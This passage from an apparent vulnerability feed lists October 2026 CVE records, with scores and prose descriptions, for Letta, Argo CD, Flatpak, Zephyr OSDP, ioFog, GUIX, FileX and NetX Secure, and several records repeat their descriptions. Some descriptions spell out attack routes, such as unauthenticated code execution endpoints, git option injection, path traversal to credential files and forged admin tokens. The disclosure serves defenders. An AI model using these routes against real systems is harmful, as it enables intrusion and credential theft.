EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77935&date=2026-10-25).
Sources:
NVD CVE-2026-77935: https://nvd.nist.gov/vuln/detail/CVE-2026-77935
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77935&date=2026-10-25
Coze Studio through 0.5.1 contains an insecure direct object reference vulnerability in workflow.go that allows authenticated users to access other spaces' workflows by supplying foreign workflowIDs. Attackers can pair their own spaceID with another tenant's workflowID in save, update_meta, batch_delete, canvas, test_run and nodeDebug routes to read, run, overwrite or delete workflows.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Letta through 0.16.8 ships a compose.yaml that does not enable LETTA_SERVER_SECURE, so the password middleware is never added and all API routes are unauthenticated, and it...
https://kevwire.com/record/CVE-2026-77936
Letta through 0.16.8 ships a compose.yaml that does not enable LETTA_SERVER_SECURE, so the password middleware is never added and all API routes are unauthenticated, and it... (Oct 20, 2026).
Letta through 0.16.8 ships a compose.yaml that does not enable LETTA_SERVER_SECURE, so the password middleware is never added and all API routes are unauthenticated, and it exposes a superuser PostgreSQL port with default credentials. Remote attackers can execute arbitrary Python via POST /v1/tools/run, manage /v1/admin users, or run OS commands via COPY PROGRAM.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-77936).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-77936&date=2026-10-25).
Sources:
NVD CVE-2026-77936: https://nvd.nist.gov/vuln/detail/CVE-2026-77936
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-77936&date=2026-10-25
Letta through 0.16.8 ships a compose.yaml that does not enable LETTA_SERVER_SECURE, so the password middleware is never added and all API routes are unauthenticated, and it exposes a superuser PostgreSQL port with default credentials. Remote attackers can execute arbitrary Python via POST /v1/tools/run, manage /v1/admin users, or run OS commands via COPY PROGRAM.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Flatpak is a system for building, distributing, and running sandboxed desktop applications on Linux.
https://kevwire.com/record/CVE-2026-92162
Flatpak is a system for building, distributing, and running sandboxed desktop applications on Linux. (Oct 20, 2026).
Flatpak is a system for building, distributing, and running sandboxed desktop applications on Linux. Prior to version 1.18.1, on systems where at least one OCI remote is configured (most common on Fedora systems), a malicious local user in an active local session could use a crafted architecture name to trick the `flatpak-system-helper` process into creating a root-owned directory tree with contents determined by the OCI remote, plus a root-owned `lock` file and `icons` directory, outside the intended root directory. If this vulnerability is combined with other vulnerabilities also fixed in 1.18.1, the combination can lead to local root privilege escalation. This particular vulnerability is not believed to be exploitable if there are no OCI remotes configured (common on non-Fedora systems). Version 1.18.1 patches the issue.
CVSS 7.2 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92162).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92162&date=2026-10-25).
Sources:
NVD CVE-2026-92162: https://nvd.nist.gov/vuln/detail/CVE-2026-92162
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92162&date=2026-10-25
Flatpak is a system for building, distributing, and running sandboxed desktop applications on Linux. Prior to version 1.18.1, on systems where at least one OCI remote is configured (most common on Fedora systems), a malicious local user in an active local session could use a crafted architecture name to trick the `flatpak-system-helper` process into creating a root-owned directory tree with contents determined by the OCI remote, plus a root-owned `lock` file and `icons` directory, outside the intended root directory. If this vulnerability is combined with other vulnerabilities also fixed in 1.18.1, the combination can lead to local root privilege escalation. This particular vulnerability is not believed to be exploitable if there are no OCI remotes configured (common on non-Fedora systems). Version 1.18.1 patches the issue.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes.
https://kevwire.com/record/CVE-2026-113672
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. (Oct 20, 2026).
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 0.9.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, the repo-server evaluates .jsonnet files with an importer that does not confine import, importstr, or importbin to the repository root. Absolute paths, parent-directory traversal, and repository symlinks can open any file readable by the repo-server, including /proc/self/environ, projected service-account tokens, mounted private keys, and repository credentials. Although generated Secrets are redacted, placing imported contents in a ConfigMap returns the data to the caller. Using importstr on a non-terminating device such as /dev/zero can exhaust repo-server memory. An attacker can commit a .jsonnet file to a Git repository used by an Application or upload the file through POST /api/v1/applications/manifestsWithFiles, also exposed by argocd app diff --local --server-side-generate. Directory applications evaluate every .jsonnet file in the application directory. The upload path requires only Application get permission on an existing directory Application, without Application update or sync permission or repository write access. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.
CVSS 9.9 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113672).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113672&date=2026-10-25).
Sources:
NVD CVE-2026-113672: https://nvd.nist.gov/vuln/detail/CVE-2026-113672
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113672&date=2026-10-25
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 0.9.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, the repo-server evaluates .jsonnet files with an importer that does not confine import, importstr, or importbin to the repository root. Absolute paths, parent-directory traversal, and repository symlinks can open any file readable by the repo-server, including /proc/self/environ, projected service-account tokens, mounted private keys, and repository credentials. Although generated Secrets are redacted, placing imported contents in a ConfigMap returns the data to the caller. Using importstr on a non-terminating device such as /dev/zero can exhaust repo-server memory. An attacker can commit a .jsonnet file to a Git repository used by an Application or upload the file through POST /api/v1/applications/manifestsWithFiles, also exposed by argocd app diff --local --server-side-generate. Directory applications evaluate every .jsonnet file in the application directory. The upload path requires only Application get permission on an existing directory Application, without Application update or sync permission or repository write access. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes.
https://kevwire.com/record/CVE-2026-113708
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. (Oct 20, 2026).
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.7.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, Kustomize passes ref or version query values from remote resource, base, or component URLs to git fetch without an end-of-options separator. A leading-hyphen value can be parsed as --upload-pack and execute a command inside argocd-repo-server when the remote uses a local transport such as file://. Git does not run the supplied command for an https:// remote. The local transport does not leave the pod, so blocking repo-server egress does not prevent the execution. The command runs as the repo-server user, can read repository credentials and other process-accessible data, and can return output through manifest-generation errors. An attacker can commit a Kustomization to a Git repository that an Application builds or upload files through POST /api/v1/applications/manifestsWithFiles, also exposed by argocd app diff --local --server-side-generate. The upload path requires only Application get permission on an existing Application, without Application update or sync permission or repository write access. Kustomize 5.0.0 introduced acceptance of file://, whereas 4.5.7 rejects that transport; replacing the affected Kustomize with a newer version alone does not correct the missing option separator. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.
CVSS 9.9 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113708).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113708&date=2026-10-25).
Sources:
NVD CVE-2026-113708: https://nvd.nist.gov/vuln/detail/CVE-2026-113708
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113708&date=2026-10-25
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. From 2.7.0 until 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2, Kustomize passes ref or version query values from remote resource, base, or component URLs to git fetch without an end-of-options separator. A leading-hyphen value can be parsed as --upload-pack and execute a command inside argocd-repo-server when the remote uses a local transport such as file://. Git does not run the supplied command for an https:// remote. The local transport does not leave the pod, so blocking repo-server egress does not prevent the execution. The command runs as the repo-server user, can read repository credentials and other process-accessible data, and can return output through manifest-generation errors. An attacker can commit a Kustomization to a Git repository that an Application builds or upload files through POST /api/v1/applications/manifestsWithFiles, also exposed by argocd app diff --local --server-side-generate. The upload path requires only Application get permission on an existing Application, without Application update or sync permission or repository write access. Kustomize 5.0.0 introduced acceptance of file://, whereas 4.5.7 rejects that transport; replacing the affected Kustomize with a newer version alone does not correct the missing option separator. This issue is fixed in versions 3.3.15, 3.4.10, 3.5.4, and 3.6.0-rc2.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The OSDP Control Panel reply parser cp_decode_response() in subsys/mgmt/osdp/src/osdp_cp.c decodes replies from a Peripheral Device into a stack-allocated struct osdp_event.
https://kevwire.com/record/CVE-2026-76788
The OSDP Control Panel reply parser cp_decode_response() in subsys/mgmt/osdp/src/osdp_cp.c decodes replies from a Peripheral Device into a stack-allocated struct osdp_event. (Oct 19, 2026).
The OSDP Control Panel reply parser cp_decode_response() in subsys/mgmt/osdp/src/osdp_cp.c decodes replies from a Peripheral Device into a stack-allocated struct osdp_event. For the REPLY_KEYPPAD and REPLY_RAW reply types, the payload length is taken from the received frame and the only validation performed is that the declared length is self-consistent with the number of payload bytes present in the frame. Because the attacker controls both the length field and the frame length, that check imposes no bound, and the subsequent memcpy() writes into the fixed 64-byte data arrays of struct osdp_event_keypress / struct osdp_event_cardread (OSDP_EVENT_MAX_DATALEN). The sibling REPLY_FMT handler in the same switch already carried the missing > OSDP_EVENT_MAX_DATALEN bound.

The defect is reached from cp_process_reply(), which reads bytes from the OSDP RS-485 channel and passes them through osdp_phy_check_packet() and osdp_phy_decode_packet() before dispatching on the reply ID. Triggering it requires CONFIG_OSDP with CONFIG_OSDP_MODE_CP and an application event callback registered (the normal Control Panel integration), plus a frame carrying a correct SOM, a valid CRC-16, and a matching 2-bit sequence number — all of which are computable or observable by anyone on the bus. No check ties the reply ID to the outstanding command, so an oversized REPLY_KEYPPAD or REPLY_RAW is accepted as the answer to a routine CMD_POLL. A malicious or compromised card reader, or anyone with access to the RS-485 wiring, can supply such a frame; CONFIG_OSDP_SC_ENABLED only helps while a secure channel is active, and a single unauthenticated frame carrying a bad MAC causes sc_deactivate(), after which plaintext replies are again accepted.

With the default CONFIG_OSDP_UART_BUFFER_LENGTH of 256, roughly 180 bytes of fully attacker-chosen data can be written past the end of the stack-allocated event object, over saved registers and the return address on typical Cortex-M and RISC-V frame layouts (Zephyr does not enable stack canaries by default). The impact ranges from a hard crash of the access-control panel to potential control-flow hijack in the context of the OSDP receive thread. The fix ad
CVSS 8.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76788).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76788&date=2026-10-25).
Sources:
NVD CVE-2026-76788: https://nvd.nist.gov/vuln/detail/CVE-2026-76788
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76788&date=2026-10-25
The OSDP Control Panel reply parser cp_decode_response() in subsys/mgmt/osdp/src/osdp_cp.c decodes replies from a Peripheral Device into a stack-allocated struct osdp_event. For the REPLY_KEYPPAD and REPLY_RAW reply types, the payload length is taken from the received frame and the only validation performed is that the declared length is self-consistent with the number of payload bytes present in the frame. Because the attacker controls both the length field and the frame length, that check imposes no bound, and the subsequent memcpy() writes into the fixed 64-byte data arrays of struct osdp_event_keypress / struct osdp_event_cardread (OSDP_EVENT_MAX_DATALEN). The sibling REPLY_FMT handler in the same switch already carried the missing > OSDP_EVENT_MAX_DATALEN bound.

The defect is reached from cp_process_reply(), which reads bytes from the OSDP RS-485 channel and passes them through osdp_phy_check_packet() and osdp_phy_decode_packet() before dispatching on the reply ID. Triggering it requires CONFIG_OSDP with CONFIG_OSDP_MODE_CP and an application event callback registered (the normal Control Panel integration), plus a frame carrying a correct SOM, a valid CRC-16, and a matching 2-bit sequence number — all of which are computable or observable by anyone on the bus. No check ties the reply ID to the outstanding command, so an oversized REPLY_KEYPPAD or REPLY_RAW is accepted as the answer to a routine CMD_POLL. A malicious or compromised card reader, or anyone with access to the RS-485 wiring, can supply such a frame; CONFIG_OSDP_SC_ENABLED only helps while a secure channel is active, and a single unauthenticated frame carrying a bad MAC causes sc_deactivate(), after which plaintext replies are again accepted.

With the default CONFIG_OSDP_UART_BUFFER_LENGTH of 256, roughly 180 bytes of fully attacker-chosen data can be written past the end of the stack-allocated event object, over saved registers and the return address on typical Cortex-M and RISC-V frame layouts (Zephyr does not enable stack canaries by default). The impact ranges from a hard crash of the access-control panel to potential control-flow hijack in the context of the OSDP receive thread. The fix adds an OSDP_EVENT_MAX_DATALEN bound to both handlers, capping each memcpy() at the size of its destination.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, POST, PUT, and PATCH bodies on routes that enable template substitution are rendered by an uncapped Liquid engine before...
https://kevwire.com/record/CVE-2026-113619
In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, POST, PUT, and PATCH bodies on routes that enable template substitution are rendered by an uncapped Liquid engine before... (Oct 20, 2026).
In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, POST, PUT, and PATCH bodies on routes that enable template substitution are rendered by an uncapped Liquid engine before authentication and RBAC. The bearer check does not reject a missing or invalid token, and the auth rate limit applies only to user login routes. A small JSON body can stall or abort the Controller process. The anonymous caller does not receive the rendered result; the impact is availability of the control plane, including the agent API and in-process WebSocket relays on that process.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113619).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113619&date=2026-10-25).
Sources:
NVD CVE-2026-113619: https://nvd.nist.gov/vuln/detail/CVE-2026-113619
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113619&date=2026-10-25
In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, POST, PUT, and PATCH bodies on routes that enable template substitution are rendered by an uncapped Liquid engine before authentication and RBAC. The bearer check does not reject a missing or invalid token, and the auth rate limit applies only to user login routes. A small JSON body can stall or abort the Controller process. The anonymous caller does not receive the rendered result; the impact is availability of the control plane, including the agent API and in-process WebSocket relays on that process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, operator WebSocket upgrades on the exec and log routes do not verify the bearer JWT.
https://kevwire.com/record/CVE-2026-113620
In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, operator WebSocket upgrades on the exec and log routes do not verify the bearer JWT. (Oct 20, 2026).
In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, operator WebSocket upgrades on the exec and log routes do not verify the bearer JWT. The payload is decoded and its groups or roles are used as RBAC subjects. A self-minted token whose groups contain admin matches the built-in admin role, with no account and no RoleBinding. The attacker can open an exec or log session for a microservice or fog whose UUID they already know. HTTP routes are not affected: they verify the token before RBAC. Agent WebSockets verify the fog token and are not affected.
CVSS 9.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113620).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113620&date=2026-10-25).
Sources:
NVD CVE-2026-113620: https://nvd.nist.gov/vuln/detail/CVE-2026-113620
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113620&date=2026-10-25
In Eclipse ioFog Controller versions 3.8.0 through 3.9.1, operator WebSocket upgrades on the exec and log routes do not verify the bearer JWT. The payload is decoded and its groups or roles are used as RBAC subjects. A self-minted token whose groups contain admin matches the built-in admin role, with no account and no RoleBinding. The attacker can open an exec or log session for a microservice or fog whose UUID they already know. HTTP routes are not affected: they verify the token before RBAC. Agent WebSockets verify the fog token and are not affected.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mounting an attacker-controlled FAT image with fault tolerance enabled causes an out-of-bounds heap write during log replay.
https://kevwire.com/record/CVE-2026-91041
Mounting an attacker-controlled FAT image with fault tolerance enabled causes an out-of-bounds heap write during log replay. (Oct 20, 2026).
Mounting an attacker-controlled FAT image with fault tolerance enabled causes an out-of-bounds heap write during log replay. The write is attacker-positioned and attacker-valued, and on a common embedded memory layout it reaches the FX_MEDIA driver callback, giving control of the instruction pointer.
CVSS 7.8 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91041).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91041&date=2026-10-25).
Sources:
NVD CVE-2026-91041: https://nvd.nist.gov/vuln/detail/CVE-2026-91041
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91041&date=2026-10-25
Mounting an attacker-controlled FAT image with fault tolerance enabled causes an out-of-bounds heap write during log replay. The write is attacker-positioned and attacker-valued, and on a common embedded memory layout it reaches the FX_MEDIA driver callback, giving control of the instruction pointer.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The PNG chunk reader has no notion of chunk ordering.
https://kevwire.com/record/CVE-2026-91186
The PNG chunk reader has no notion of chunk ordering. (Oct 20, 2026).
The PNG chunk reader has no notion of chunk ordering. It records whether an IDAT has been seen and whether a tRNS has already supplied transparency, but nothing prevents an IHDR being read a second time.



A PNG carries exactly one IHDR and it is the first chunk. A file that places a second one after IDAT rewrites the image width, height, bit depth and pixel depth *after* the decoded-data buffer has already been allocated and filled from the original values. The pass that reverses the PNG row filters then derives its own extent from the new dimensions and walks the old allocation, moving image bytes past the end of it.



The buffer is allocated by GUIX rather than supplied by the caller, so the application has no way to size it defensively. The decoder is compiled in by default.
CVSS 8.4 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91186).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91186&date=2026-10-25).
Sources:
NVD CVE-2026-91186: https://nvd.nist.gov/vuln/detail/CVE-2026-91186
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91186&date=2026-10-25
The PNG chunk reader has no notion of chunk ordering. It records whether an IDAT has been seen and whether a tRNS has already supplied transparency, but nothing prevents an IHDR being read a second time.



A PNG carries exactly one IHDR and it is the first chunk. A file that places a second one after IDAT rewrites the image width, height, bit depth and pixel depth *after* the decoded-data buffer has already been allocated and filled from the original values. The pass that reverses the PNG row filters then derives its own extent from the new dimensions and walks the old allocation, moving image bytes past the end of it.



The buffer is allocated by GUIX rather than supplied by the caller, so the application has no way to size it defensively. The decoder is compiled in by default.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The GUIX binary resource loader never checks that a font page's glyph range is well formed.
https://kevwire.com/record/CVE-2026-91189
The GUIX binary resource loader never checks that a font page's glyph range is well formed. (Oct 20, 2026).
The GUIX binary resource loader never checks that a font page's glyph range is well formed. `gx_page_header_first_glyph` and `gx_page_header_last_glyph` are read verbatim from the file and only the upper bound of `last_glyph` is validated, so a page declaring `first_glyph > last_glyph` makes `last - first + 1` underflow to a very large unsigned count.



That count is multiplied by a glyph record size to reserve the load buffer, and the multiply is unchecked, so it wraps to a small value and the loader allocates a buffer far smaller than the data it is about to write. The load pass then recomputes the count in a narrower type and writes attacker-controlled glyph records into the undersized buffer.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91189).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91189&date=2026-10-25).
Sources:
NVD CVE-2026-91189: https://nvd.nist.gov/vuln/detail/CVE-2026-91189
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91189&date=2026-10-25
The GUIX binary resource loader never checks that a font page's glyph range is well formed. `gx_page_header_first_glyph` and `gx_page_header_last_glyph` are read verbatim from the file and only the upper bound of `last_glyph` is validated, so a page declaring `first_glyph > last_glyph` makes `last - first + 1` underflow to a very large unsigned count.



That count is multiplied by a glyph record size to reserve the load buffer, and the multiply is unchecked, so it wraps to a small value and the loader allocates a buffer far smaller than the data it is about to write. The load pass then recomputes the count in a narrower type and writes attacker-controlled glyph records into the undersized buffer.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A missing bounds check in the TLS 1.3 Certificate-message parser of NetX Secure lets a malicious TLS 1.3 server trigger an unsigned-integer underflow and a subsequent heap...
https://kevwire.com/record/CVE-2026-92843
A missing bounds check in the TLS 1.3 Certificate-message parser of NetX Secure lets a malicious TLS 1.3 server trigger an unsigned-integer underflow and a subsequent heap... (Oct 20, 2026).
A missing bounds check in the TLS 1.3 Certificate-message parser of NetX Secure lets a malicious TLS 1.3 server trigger an unsigned-integer underflow and a subsequent heap out-of-bounds read in any peer that processes a remote Certificate message. It is reachable pre-authentication, during the normal handshake, before certificate verification completes.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92843).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92843&date=2026-10-25).
Sources:
NVD CVE-2026-92843: https://nvd.nist.gov/vuln/detail/CVE-2026-92843
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92843&date=2026-10-25
A missing bounds check in the TLS 1.3 Certificate-message parser of NetX Secure lets a malicious TLS 1.3 server trigger an unsigned-integer underflow and a subsequent heap out-of-bounds read in any peer that processes a remote Certificate message. It is reachable pre-authentication, during the normal handshake, before certificate verification completes.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The TLS 1.3 Certificate-message parser in NetX Secure decrements the message length to skip a context byte without first establishing that the message has a byte to skip.
https://kevwire.com/record/CVE-2026-92853
The TLS 1.3 Certificate-message parser in NetX Secure decrements the message length to skip a context byte without first establishing that the message has a byte to skip. (Oct 20, 2026).
The TLS 1.3 Certificate-message parser in NetX Secure decrements the message length to skip a context byte without first establishing that the message has a byte to skip. A zero-length Certificate message therefore wraps the unsigned length to `0xFFFFFFFF`, which makes the bounds check that follows vacuous and sends the parser reading past the session packet buffer.



The trigger is a four-byte handshake header and requires no cryptographic validity. It is reachable pre-authentication.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-92853).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-92853&date=2026-10-25).
Sources:
NVD CVE-2026-92853: https://nvd.nist.gov/vuln/detail/CVE-2026-92853
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-92853&date=2026-10-25
The TLS 1.3 Certificate-message parser in NetX Secure decrements the message length to skip a context byte without first establishing that the message has a byte to skip. A zero-length Certificate message therefore wraps the unsigned length to `0xFFFFFFFF`, which makes the bounds check that follows vacuous and sends the parser reading past the session packet buffer.



The trigger is a four-byte handshake header and requires no cryptographic validity. It is reachable pre-authentication.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The X.509 parser in NetX Secure accepts an RSA public key of any size, but every signature-verification path decrypts into fixed-size buffers dimensioned for the...
https://kevwire.com/record/CVE-2026-93475
The X.509 parser in NetX Secure accepts an RSA public key of any size, but every signature-verification path decrypts into fixed-size buffers dimensioned for the... (Oct 20, 2026).
The X.509 parser in NetX Secure accepts an RSA public key of any size, but every signature-verification path decrypts into fixed-size buffers dimensioned for the `NX_CRYPTO_MAX_RSA_MODULUS_SIZE` default of 4096 bits. A certificate carrying a larger modulus drives an out-of-bounds write past a file-scope static during ordinary certificate-chain verification.



It is reachable pre-authentication. The issuer used for the crypto operation is looked up in the remote, peer-supplied store before the trusted store, so the attacker supplies the oversized key themselves as an intermediate in the chain they present. It triggers on a TLS or DTLS client verifying a malicious server's chain, and on a server performing client-certificate authentication.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-93475).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-93475&date=2026-10-25).
Sources:
NVD CVE-2026-93475: https://nvd.nist.gov/vuln/detail/CVE-2026-93475
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-93475&date=2026-10-25
The X.509 parser in NetX Secure accepts an RSA public key of any size, but every signature-verification path decrypts into fixed-size buffers dimensioned for the `NX_CRYPTO_MAX_RSA_MODULUS_SIZE` default of 4096 bits. A certificate carrying a larger modulus drives an out-of-bounds write past a file-scope static during ordinary certificate-chain verification.



